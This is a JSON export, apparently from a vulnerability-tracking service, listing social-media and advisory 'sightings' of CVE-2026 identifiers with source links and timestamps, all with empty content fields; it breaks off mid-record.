{"vulnerability": "2026-20", "sightings": [{"uuid": "0e24db9d-9f46-4bdf-9cd4-461bb4a967e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/116051223899543373", "content": "", "creation_timestamp": "2026-02-11T09:12:26.958790Z"}, {"uuid": "9f842831-8a2a-48f2-bd9f-bb56550c6562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mfpd3ekl4i2a", "content": "", "creation_timestamp": "2026-02-25T18:34:56.282611Z"}, {"uuid": "8743074a-0113-4803-bdc6-4c825c0f2e27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20049", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgavztxq5m2s", "content": "", "creation_timestamp": "2026-03-04T18:29:22.631893Z"}, {"uuid": "064209f0-2c82-4058-9013-b65f16baf7ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mel54sfphty2", "content": "", "creation_timestamp": "2026-02-11T09:12:35.557555Z"}, {"uuid": "6656b9f1-fc7b-455f-be3d-36a6e6b1cf0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20100", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgaw2cvzun2f", "content": "", "creation_timestamp": "2026-03-04T18:29:37.595325Z"}, {"uuid": "df2e1ada-d315-4fdf-8dd7-6e4b2f286fe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3mel5eahhgs2t", "content": "", "creation_timestamp": "2026-02-11T09:16:40.570303Z"}, {"uuid": "a5375a59-e6de-4f52-b9c9-4e51716961fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20039", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgaw2knlpf2c", "content": "", "creation_timestamp": "2026-03-04T18:29:45.767083Z"}, {"uuid": "0f92bcb3-96d6-493c-bf92-fd5236a793ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20098", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me2ex56fxx2g", "content": "", "creation_timestamp": "2026-02-04T17:17:15.980832Z"}, {"uuid": "7ac48078-1971-443a-84ec-dc6c2b82eb0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mel5hpf5ib2g", "content": "", "creation_timestamp": "2026-02-11T09:18:36.884968Z"}, {"uuid": "7b377d7d-2741-40c5-a37a-d3524c679493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20119", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me2exdj4nq22", "content": "", "creation_timestamp": "2026-02-04T17:17:22.450521Z"}, {"uuid": "80824b20-f5cf-4b5c-81f2-e1ce4d19518d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://mastodon.yuuta.moe/users/cubercsl/statuses/116051250142295702", "content": "", "creation_timestamp": "2026-02-11T09:19:10.965651Z"}, {"uuid": "2a13ba97-3a62-461b-ab13-eb5f60e85bbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20049", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgaw2sj5as25", "content": "", "creation_timestamp": "2026-03-04T18:29:54.041017Z"}, {"uuid": "93f29043-5f44-4cd9-a25c-84f86f4923bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3mdx74sef5u27", "content": "", "creation_timestamp": "2026-02-03T10:55:03.675011Z"}, {"uuid": "7d132574-a011-4112-9077-4bab69cb570f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20902", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfspi5h6ck2n", "content": "", "creation_timestamp": "2026-02-27T02:54:48.821751Z"}, {"uuid": "6686d759-7fd2-4739-8b30-c32fbe06b7af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20882", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mghpciojfe2s", "content": "", "creation_timestamp": "2026-03-07T11:17:34.399771Z"}, {"uuid": "2cd1e66f-02cb-4034-98be-34b2060e77c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/hn100.atproto.rocks/post/3mel64oz75p2a", "content": "", "creation_timestamp": "2026-02-11T09:30:21.036844Z"}, {"uuid": "fb5c944b-4957-41f3-97e5-8b7f5d820643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mewyvinek723", "content": "", "creation_timestamp": "2026-02-16T02:28:47.986426Z"}, {"uuid": "81b2ebce-3be7-4445-93bd-ed664bdb604b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mewyvinek723", "content": "", "creation_timestamp": "2026-02-16T02:28:48.088587Z"}, {"uuid": "63222e49-dfdc-4457-82af-b2e7b6178f00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20846", "type": "seen", "source": "https://www.thezdi.com/blog/2026/2/10/the-february-2026-security-update-review", "content": "", "creation_timestamp": "2026-02-10T17:30:28.000000Z"}, {"uuid": "859d57cf-2e97-4231-a8bf-9ddffa70ea57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2004", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meo6oqlkf72h", "content": "", "creation_timestamp": "2026-02-12T14:18:26.569633Z"}, {"uuid": "caf80723-ba3f-437c-85dc-2e1ef2852626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meo6oxfxsm2g", "content": "", "creation_timestamp": "2026-02-12T14:18:33.243133Z"}, {"uuid": "82e460ee-aadb-4869-ba4c-37742a82f44b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meo6p6h2br25", "content": "", "creation_timestamp": "2026-02-12T14:18:40.780999Z"}, {"uuid": "fe6cbf12-c33e-4092-b9c6-0eb7fcff8d0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meo6pxuj7e2g", "content": "", "creation_timestamp": "2026-02-12T14:19:07.713603Z"}, {"uuid": "ed5c906b-6750-4b05-a5ee-dd5178fbe76c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20742", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsqrjzzhz2u", "content": "", "creation_timestamp": "2026-02-27T03:17:57.762623Z"}, {"uuid": "13c3bf50-3200-470d-b12d-9214bdac336a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2007", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meo6q6pof52g", "content": "", "creation_timestamp": "2026-02-12T14:19:14.564822Z"}, {"uuid": "67eed0c0-564e-46af-9fa7-12192118e8f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20777", "type": "seen", "source": "https://infosec.place/objects/920ca239-3e6d-45b4-bc4a-e5c1b5040806", "content": "", "creation_timestamp": "2026-03-03T15:30:06.094774Z"}, {"uuid": "c278708d-e621-4641-b299-15e0939774ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20014", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgaxs3eh6r2s", "content": "", "creation_timestamp": "2026-03-04T19:00:50.017026Z"}, {"uuid": "2be386b8-af1c-4feb-a6d7-f7f66afcc226", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2007", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meo6qzakzl2r", "content": "", "creation_timestamp": "2026-02-12T14:19:43.478868Z"}, {"uuid": "2079a347-1132-456d-a5e5-3be48b0aee8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mf3ztfukkq22", "content": "", "creation_timestamp": "2026-02-18T02:28:50.366496Z"}, {"uuid": "f7766d6f-1ef3-4659-829f-c33a88872ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20002", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgaxsd2tfw2s", "content": "", "creation_timestamp": "2026-03-04T19:00:56.758881Z"}, {"uuid": "5f35b06c-953f-4087-ae9c-5389052389f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20412", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdvhha7eum2o", "content": "", "creation_timestamp": "2026-02-02T18:18:44.739108Z"}, {"uuid": "448923b4-399f-4eac-9912-8ff8ba5b2bac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mf3ztfukkq22", "content": "", "creation_timestamp": "2026-02-18T02:28:50.489029Z"}, {"uuid": "8a05bd52-639e-42ca-bb34-a242de586b63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mftzornjei2m", "content": "", "creation_timestamp": "2026-02-27T15:30:09.301386Z"}, {"uuid": "09638753-8c8d-4819-a3c8-20237d5c9abe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20014", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgaxtgl6iq26", "content": "", "creation_timestamp": "2026-03-04T19:01:34.865880Z"}, {"uuid": "0885f528-5f63-407a-a6cd-e932c6d21f88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20002", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgaxto7pgf2s", "content": "", "creation_timestamp": "2026-03-04T19:01:42.184401Z"}, {"uuid": "6ff2766a-538a-4dfe-83a4-76540d3c3952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20098", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me2i4bstau2v", "content": "", "creation_timestamp": "2026-02-04T18:13:49.652801Z"}, {"uuid": "4f65b9c6-b7e9-4455-914b-e3a2086074a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/fi-uutiset.bsky.social/post/3mfphufjwg52e", "content": "", "creation_timestamp": "2026-02-25T20:00:30.689670Z"}, {"uuid": "2e429363-012b-4132-bf68-71baa280234c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20764", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsrpiuowp2n", "content": "", "creation_timestamp": "2026-02-27T03:34:43.253274Z"}, {"uuid": "22bd88b3-bad0-4dc5-8686-8dc14b250eda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20119", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me2i4jflbf2h", "content": "", "creation_timestamp": "2026-02-04T18:13:57.525905Z"}, {"uuid": "2a784267-c266-4672-812f-47937fc789fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20677", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meqbb5xld22o", "content": "", "creation_timestamp": "2026-02-13T10:09:51.431430Z"}, {"uuid": "acd0de33-584f-4c8a-9418-5e8518e0959c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20129", "type": "seen", "source": "https://bsky.app/profile/fi-uutiset.bsky.social/post/3mfphufjwg52e", "content": "", "creation_timestamp": "2026-02-25T20:00:30.775365Z"}, {"uuid": "5ab48ba1-5884-45c0-b68f-b8934cbb4529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20411", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdvkt2rj3k2g", "content": "", "creation_timestamp": "2026-02-02T19:19:04.211374Z"}, {"uuid": "6f0df3ad-fdfe-4435-ac16-ee9dbda285d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meqbbfepbk24", "content": "", "creation_timestamp": "2026-02-13T10:09:59.259741Z"}, {"uuid": "69816d54-9901-4aa4-99d2-51af28378b02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0071", "content": "", "creation_timestamp": "2026-02-25T16:11:09.000000Z"}, {"uuid": "c67abb80-1b33-40f8-83b6-0c5784f6b6e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco", "content": "", "creation_timestamp": "2026-02-25T16:29:05.000000Z"}, {"uuid": "7af9cc42-a050-44ea-904b-2ed1d1875e6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3meo7ns7f5j2f", "content": "", "creation_timestamp": "2026-02-12T14:35:48.015789Z"}, {"uuid": "f7829fad-9988-43b1-8664-85b48c9a22a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2025", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgazn6q5i42v", "content": "", "creation_timestamp": "2026-03-04T19:33:53.123241Z"}, {"uuid": "f58ca159-9d06-4410-bc6a-8e8d26248777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2040", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-122/", "content": "", "creation_timestamp": "2026-02-19T05:00:00.000000Z"}, {"uuid": "44091941-ed6a-406d-8497-2131cf5dd172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/chorrell.bsky.social/post/3meoaoxbw5l2q", "content": "", "creation_timestamp": "2026-02-12T14:54:21.168881Z"}, {"uuid": "17940138-7cb1-4581-95e7-3c13febda3e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2048", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-121/", "content": "", "creation_timestamp": "2026-02-19T05:00:00.000000Z"}, {"uuid": "86ee11ce-b72d-4ea1-82b3-f1afac08325a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2047", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-120/", "content": "", "creation_timestamp": "2026-02-19T05:00:00.000000Z"}, {"uuid": "2586023e-e8e9-4748-8063-ce9a1d176ab3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20777", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mg63xlwitz26", "content": "", "creation_timestamp": "2026-03-03T15:37:30.147076Z"}, {"uuid": "0484c4bd-ef48-4f27-92a1-cd06827cd7a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3meoavy5qlk2v", "content": "", "creation_timestamp": "2026-02-12T14:58:20.287280Z"}, {"uuid": "46cf3e61-3086-4b6d-bebf-e4e891df1e47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2045", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-119/", "content": "", "creation_timestamp": "2026-02-19T05:00:00.000000Z"}, {"uuid": "03f01d14-9038-4506-9be8-54fbb6e0253b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2044", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-118/", "content": "", "creation_timestamp": "2026-02-19T05:00:00.000000Z"}, {"uuid": "f6c0f650-601d-437e-8931-940aefc1c6f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/frankotron.bsky.social/post/3meobihv2bk2f", "content": "", "creation_timestamp": "2026-02-12T15:09:13.967553Z"}, {"uuid": "25cee1c6-73a1-4cdb-92fb-6f39b26aee5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mfphxevftg23", "content": "", "creation_timestamp": "2026-02-25T20:02:11.525655Z"}, {"uuid": "ace8f9a0-a5d4-41d8-a6ac-97dfc697a1b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3memhxjz3dk22", "content": "", "creation_timestamp": "2026-02-11T21:59:05.502245Z"}, {"uuid": "a79745a2-8900-423c-b01b-04116a91ccbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mfstglgdpw22", "content": "", "creation_timestamp": "2026-02-27T04:05:31.612036Z"}, {"uuid": "ae721069-3420-4568-9cae-4f21c294757f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mfu6b6jpe22e", "content": "", "creation_timestamp": "2026-02-27T16:52:01.563578Z"}, {"uuid": "8ef4f591-219e-43f0-98fb-31afba7c0cf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3meocuafjil2g", "content": "", "creation_timestamp": "2026-02-12T15:33:05.871388Z"}, {"uuid": "6bd016b0-5cad-4e3e-97aa-761453d37013", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://www.thezdi.com/blog/2026/2/10/the-february-2026-security-update-review", "content": "", "creation_timestamp": "2026-02-10T17:30:28.000000Z"}, {"uuid": "003589ae-c89b-44f7-8451-83246d25d121", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/karvjorm.bsky.social/post/3meodmucats2o", "content": "", "creation_timestamp": "2026-02-12T15:46:53.462743Z"}, {"uuid": "0f928ef3-9bcb-44a4-ae65-21675008467d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20895", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg4kwxk5fd2l", "content": "", "creation_timestamp": "2026-03-03T01:00:14.693849Z"}, {"uuid": "ee92ab11-71a4-48f5-a235-f47ee8308d79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20882", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mggnyhgxq42c", "content": "", "creation_timestamp": "2026-03-07T01:21:23.452491Z"}, {"uuid": "25839bc2-e5ea-404b-a8ba-1be0b025fa89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2004", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mf675nhsis2h", "content": "", "creation_timestamp": "2026-02-18T23:09:27.024298Z"}, {"uuid": "8ab351c6-f72e-46b3-80a9-21a83fb92b07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2003", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mf675nhsis2h", "content": "", "creation_timestamp": "2026-02-18T23:09:27.663500Z"}, {"uuid": "ac5c5037-f11c-4ecd-9fb3-044f78e72a93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mg4kx6nzwy2h", "content": "", "creation_timestamp": "2026-03-03T01:00:21.919455Z"}, {"uuid": "62d12b97-363f-4eca-bf88-6bc3c8feb589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mf675nhsis2h", "content": "", "creation_timestamp": "2026-02-18T23:09:27.426662Z"}, {"uuid": "8c22b7fd-1bf1-48eb-983d-a676620a8d54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mf675nhsis2h", "content": "", "creation_timestamp": "2026-02-18T23:09:27.512280Z"}, {"uuid": "419ad795-4ae8-4be2-bd5c-8cb678ad8bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20023", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgb32sf6em2e", "content": "", "creation_timestamp": "2026-03-04T19:59:22.243473Z"}, {"uuid": "4f2d54a0-ea84-4d41-8022-7a470522c2cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meoduy364m2x", "content": "", "creation_timestamp": "2026-02-12T15:51:23.900844Z"}, {"uuid": "f08cd09c-c3d8-40b2-89e9-84ef24cb9f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2007", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mf675nhsis2h", "content": "", "creation_timestamp": "2026-02-18T23:09:27.599382Z"}, {"uuid": "25383a5d-7391-49f1-84de-61f5c3e8f204", 